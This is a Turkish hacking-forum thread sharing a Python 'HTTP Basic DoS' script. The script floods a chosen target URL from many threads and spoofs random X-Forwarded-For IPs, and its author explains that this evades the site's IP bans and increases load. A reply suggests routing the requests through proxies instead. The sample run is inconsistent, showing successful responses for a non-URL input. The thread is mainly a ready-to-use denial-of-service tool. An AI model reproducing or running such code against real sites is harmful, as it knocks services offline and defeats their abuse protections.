Python ile Http Basic DoS

drjacob

Uzman üye
21 Ocak 2012
1,797
420
localhost
Python:
import requests
import random
import threading

def request(ip, url):
    response = requests.get(url, headers={"X-Forwarded-For": ip})
    print(response.status_code)

def main():
    url = input("Hedef sitenin URL'sini girin: ")
    num_threads = int(input("Kaç thread kullanmak istersiniz? "))
   
    # Random IP üreten fonksiyon
    def generate_ip():
        return ".".join([str(random.randint(0, 255)) for _ in range(4)])
   
    # Threads oluşturma
    threads = []
    for _ in range(num_threads):
        threads.append(threading.Thread(target=request, args=(generate_ip(), url)))
 
    # Threads'in başlaması
    for thread in threads:
        thread.start()
    # Threads'in bitmesini bekleme
    for thread in threads:
        thread.join()

if __name__ == "__main__":
    main()

Bu tool, hedef siteye random IP'lerden gelen requests göndererek çalışır. Bu, hedef sitenin banlama mekanizmasını atlatmaya yardımcı olur.

Tool, öncelikle hedef sitenin URL'sini ve kaç thread kullanmak istediğinizi ister. Bu bilgilere göre, her thread için ayrı bir IP üretilir. Ardından, her thread, üretilen IP ile hedef siteye bir request gönderir.

Threads ile hızlandırma, tool'un aynı anda birden fazla request göndermesini sağlar. Bu, tool'un daha hızlı çalışmasına ve hedef siteye daha fazla yük bindirmesine yardımcı olur.



200 (Giriş Başarılı)
302 (Yönlendirme)
404 (Bulunamadı)
403 (İp Ban)


---


Hedef sitenin URL'sini girin: Fêtes de fin d'année 2023
Kaç thread kullanmak istersiniz? 10
200
200
200
...(7 kez daha yapıcak)
eline sağlık
 

Maveraün Nehr

Blue Expert / Head of Malware Team
25 Haz 2021
982
1,891
41.303921, -81.901693
Rastgele ip üretiyor da üretilen ip üretildikten sonra o ip ile bir siteye giriş yapılabilir mi? Bana daha çok 0 ila 250 arasında üretilen rastgele sayıların ip dizilimine göre çalışması gibi geldi de bu da yukarıda gara şapka üyesinin sinek ısırığı demesini yeğler gibi geldi. Üretilen fonksiyonun proxy ağı üzerinden gönderse tamam diyeceğim neticede proxy ile bir siteye request atarsın....
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.